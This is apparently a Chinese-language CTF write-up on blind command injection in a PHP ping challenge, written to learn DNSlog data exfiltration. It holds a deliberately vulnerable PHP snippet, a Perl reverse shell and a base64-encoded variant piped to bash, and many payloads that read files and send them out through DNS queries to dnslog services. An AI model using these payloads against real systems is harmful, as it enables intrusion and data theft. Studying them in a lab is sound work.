DNSlog盲注


起因

在前两天吃饭的时候看文章,看到了360的一个老哥写的文章,从无回显到Getshell,自己也一直想练练手,就出了一个题目,依次来学习关于DNSlog盲注的问题。

题目1.0

<?php
error_reporting(0);
if(isset($_GET["Ginkgo"])){
    $c = $_GET["Ginkgo"];
    if(!preg_match("/flag|wget|sleep|curl|php/i", $c)){
        shell_exec("ping -c 1 ".$c);
    }
    
}else{
    highlight_file(__FILE__);
} 

?>

几种思路

写入文件查看

可以看到题目中把几个常见的命令都给过滤掉了,因为shell_exec是不会回显数据的,尝试将结果写入当前页面下再进行访问

?Ginkgo=|ls>a # 将ls的结果写入a文件中

访问a文件

image

提示我们Not_Found,猜测应该是当前目录下没有写权限,这种思路就停滞了,猜测下一种

反弹shell

这个是我出这道题目没有考虑周全的,因为没有禁止NC、socket这些关键词,让队里的老哥一块做,队里老哥用反弹shell一把梭,一个一个试出来的,题目环境中不存在NC,我们不能用nc进行反弹shell,不过可以尝试别的方法反弹

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

修改ip和端口为自己的就行了,传输的时候URL编码一下,vps监听指定端口,成功收到shell

image

查看一下flag

image

之后想为了锻炼DNSlog盲注,把过滤改的再严一点,把socket几个关键词进行了过滤

//Version2.0
<?php
error_reporting(0);
if(isset($_GET["Ginkgo"])){
    $c = $_GET["Ginkgo"];
    if(!preg_match("/flag|wget|sleep|socket|sock|perl|ruby|curl|php/i", $c)){
        shell_exec("ping -c 3 ".$c);
    }
    
}else{
    highlight_file(__FILE__);
} 

?>

这样来看的话,perl这种反弹shell的方法是行不通了,不过我们可以通过编码转换的方式继续反弹shell,首先在本地fuzz一下

root@kali2020:/home# ls #正常执行ls命令
pdsdt  wander
root@kali2020:/home# echo ls # 输出ls字符
ls
root@kali2020:/home# echo ls|base64 #输出base64加密的ls字符
bHMK
root@kali2020:/home# echo bHMK|base64 -d # 输出base64解密的字符
ls
root@kali2020:/home# echo bHMK|base64 -d|bash #输出字符并执行字符的命令
pdsdt  wander
root@kali2020:/home# 

根据上面的fuzz结果,可以看出我们可以利用linux自带的base64编码将我们的命令编码后再进行传输,编码一下命令

echo cGVybCAtTUlPIC1lICckYz1uZXcgSU86OlNvY2tldDo6SU5FVChQZWVyQWRkciwiYXR0YWNrZXJpcDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==|base64 -d |bash

成功反弹shell

image

DNSlog盲注

这是这道题目我想尝试的解法,趁着这个机会学习一下,因为题目中直接给了ping命令,我们可以直接DNS解析的方式带出数据,仍然是本地fuzz一下

root@kali2020:/home# echo whoami
whoami
root@kali2020:/home# echo 'whoami'
whoami
root@kali2020:/home# echo `whoami`
root

当我们使用反引号包裹字符串时,可以使字符串被当作linux命令解析,我们尝试一下在命令嵌套下添加反引号包裹执行命令

image

可以看到,linux会将whoami命令直接执行后再执行ping操作,所以我们可以通过这种方式将我们的数据带出,

Collaborator Server

这里首先使用burp自带的插件Collaborator Server进行DNSlog盲注,插件位置

image

这个插件应该是在1.7版本之后就自带的,选择打开

image

打开之后选择copy url

image

此时我们粘贴可以发现,是一个随机生成的域名

k3osnf2i7k63esx5bxfpam983z9pxe.burpcollaborator.net

我们尝试ping一下该域名

image

我们可以在插件中看到返回的数据,尝试携带命令进行ping命令

image

成功获取到数据,在题目中尝试一下

image

可以成功获取数据,不过由于burp插件获取结果的时间比较长,我们可以利用在线网站进行数据获取

DNSlog.cn

这个网站获取的结果还是比较快的,唯一的弊端的就是无法一次性获取多条数据

?Ginkgo=`whoami`.p11s3f.dnslog.cn

image

可以成功获取到数据,尝试查看当前目录下文件

?Ginkgo=`ls`.p11s3f.dnslog.cn

但是在dns记录里无法查看到数据,查看资料发现,dns解析中一些特殊字符是无法进行解析的(空格、换行符)这些,不过我们可以利用base64编码的形式加密数据

image

成功获取到加密数据,尝试获取一下根目录下文件夹

?Ginkgo=`ls /|base64`.p11s3f.dnslog.cn

结果发现在解析结果出未收到结果,主要是因为DNS解析的最大长度为63位,我们无法一次性取出结果,可以尝试拼接的形式取出,本地fuzz一下

image

我们可以利用cut命令进行剪接取出,不过出现的问题是,仍然存在换行符,我们尝试只取一行数据

image

在题目中尝试一下

?Ginkgo=`ls /|base64|cut -c1-30|head -n1`.p11s3f.dnslog.cn

image

继续拼接获取

image

统一解码,获取到根目录下数据

image

成功获取到目录下文件,读取一下

?Ginkgo=`cat /pd_f14G.txt`.p11s3f.dnslog.cn

image

..给我们说flag在tmp目录下,老规矩,看一下目录结构

?Ginkgo=`ls /tmp|base64|cut -c1-60|head -n1`.p11s3f.dnslog.cn

image

读一下

?Ginkgo=`cat /tmp/F*`.p11s3f.dnslog.cn

image

成功获取到flag

admin.dnslog.link

如果不想拼接,想直接让数据显示出来,可以利用这个平台,虽然返回数据相较于dnslog.cn慢一点,但我们一次性浏览大量的数据

比如,如果我不想拼接获取字符串的话,我们可以通过shell脚本的形式进行循环获取结果,本地fuzz一下

for i in $(ls /);do echo $i;done;

image

比较简单的shell脚本,循环取出根目录下文件,修改一下,查看解析日志

for i in $(ls);do ping -c 1 $i.test.dnslog.link;done;

image

image

在题目中尝试一下

?Ginkgo=||for i in $(ls);do ping -c 1 $i.test.dnslog.link;done;

image

成功获取,看一下根目录的数据

?Ginkgo=||for i in $(ls /);do ping -c 1 $i.test.dnslog.link;done;

解析的速度比较慢,稍等一会看一下结果,成功获取到目录下文件

image

查看文件,再用相同的方法列出tmp目录下内容即可

?Ginkgo=`cat /pd*`.test.dnslog.link

image

image

最后读取flag,在读取flag这里,我们有很多种方法,不过有一种方法在fuzz的时候出现了问题,在下面详细的说一下,这里直接cat /tmp/F*即可

image

问题与思考

在获取到数据之后,思考了一下循环取出flag内数据的方法

首先循环输出数据,最开始用的是{}的方式

大括号内循环

root@kali2020:/home# for i in {1..5};do echo $i;done;
1
2
3
4
5

依次输出文件内容

root@kali2020:/home# for i in {1..5};do cat /flag|cut -c $i;done;
f
l
a
g
{

这样在本地测试是可行的,再尝试将数据外送

root@kali2020:/home# for i in {1..2};do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
PING f.test.dnslog.link () 56(84) bytes of data.

--- f.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

PING l.test.dnslog.link () 56(84) bytes of data.

--- l.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

image

成功获取数据

在题目中尝试一下

?Ginkgo=||for i in {1..2};do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;

这样不管如何测试都无法获取到,我们进入php中调试一下

hp > shell_exec("ping -c 3||for i in {1..2};do ping -c 1 `cat /flag|cut -c \$i`.test.dnslog.link;done;");
ping: usage error: Destination address required
cut: invalid byte/character position ‘{1..2}’
Try 'cut --help' for more information.
cat: write error: Broken pipe
ping: .test.dnslog.link: Name or service not known

我们这样直接大括号包裹字符串实现循环会报错,尝试另外一种方式,用类C语言的方式创造循环

for循环输出

for((a=1;a<=2;a++));do echo $a;done;
root@kali2020:/home# for((i=1;i<=2;i++));do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
PING f.test.dnslog.link (18.136.104.20) 56(84) bytes of data.

--- f.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

PING l.test.dnslog.link (18.136.104.20) 56(84) bytes of data.

--- l.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

查看一下数据

image

在php模式下调试一下

image

发现报错,看一下这个错误,主要是由于从 ubuntu 6.10 开始,ubuntu 就将先前默认的bash shell 更换成了dash shell;其表现为 /bin/sh 链接倒了/bin/dash而不是传统的/bin/bash。所以在使用sh执行检测的时候实际使用的是dash,而dash不支持这种C语言格式的for循环写法。所以这种写法在php中就不适用,我们尝试利用第三种

seq number number

root@kali2020:/home# for i in `seq 1 3`;do echo $i;done;
1
2
3
#`seq number number`
root@kali2020:/home# for i in `seq 1 3`;do ping -c 1 `cat /flag|cut -c $i`.test.dnslog.link;done;
PING f.test.dnslog.link (18.136.104.20) 56(84) bytes of data.

--- f.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

PING l.test.dnslog.link (18.136.104.20) 56(84) bytes of data.

--- l.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

PING a.test.dnslog.link (18.136.104.20) 56(84) bytes of data.

--- a.test.dnslog.link ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

image

这样在本地调试也是可以的,我们仍然先回到php中进行调试

php > shell_exec("ping -c 3||for i in `seq 1 3`;do ping -c 1 `cat /flag|cut -c \$i`.test.dnslog.link;done;");

image

在题目中尝试一下,

?Ginkgo=||for i in `seq 1 5`;do ping -c 1 `cat /tmp/F*|cut -c $i`.test.dnslog.link;done;

image

成功获取,同时在fuzz中发现,$(seq 1 5)这种方式获取循环也是可以的,构造语句:

?Ginkgo=|for i in $(seq 6 9);do ping -c 1 `cat /pd_f14G.txt|cut -c $i`.test.dnslog.link;done;

思考

这种依靠循环取数据的方法与cut拼接相比确实挺鸡肋的,可能需要的条件也就是在比较极端的条件下才能使用 了,不过在fuzz中发现的信息确实值得思考和记录,于是在题目结束又多写了这么多

总结

这里简单的总结了在命令盲注中,简单使用dnslog获取信息的方法,因为题目中过滤了curl,没有尝试像360的师傅们用的直接在vps上开服务器获取日志的方式,不过也是通过这个点获取到了不少的经验。


6 个赞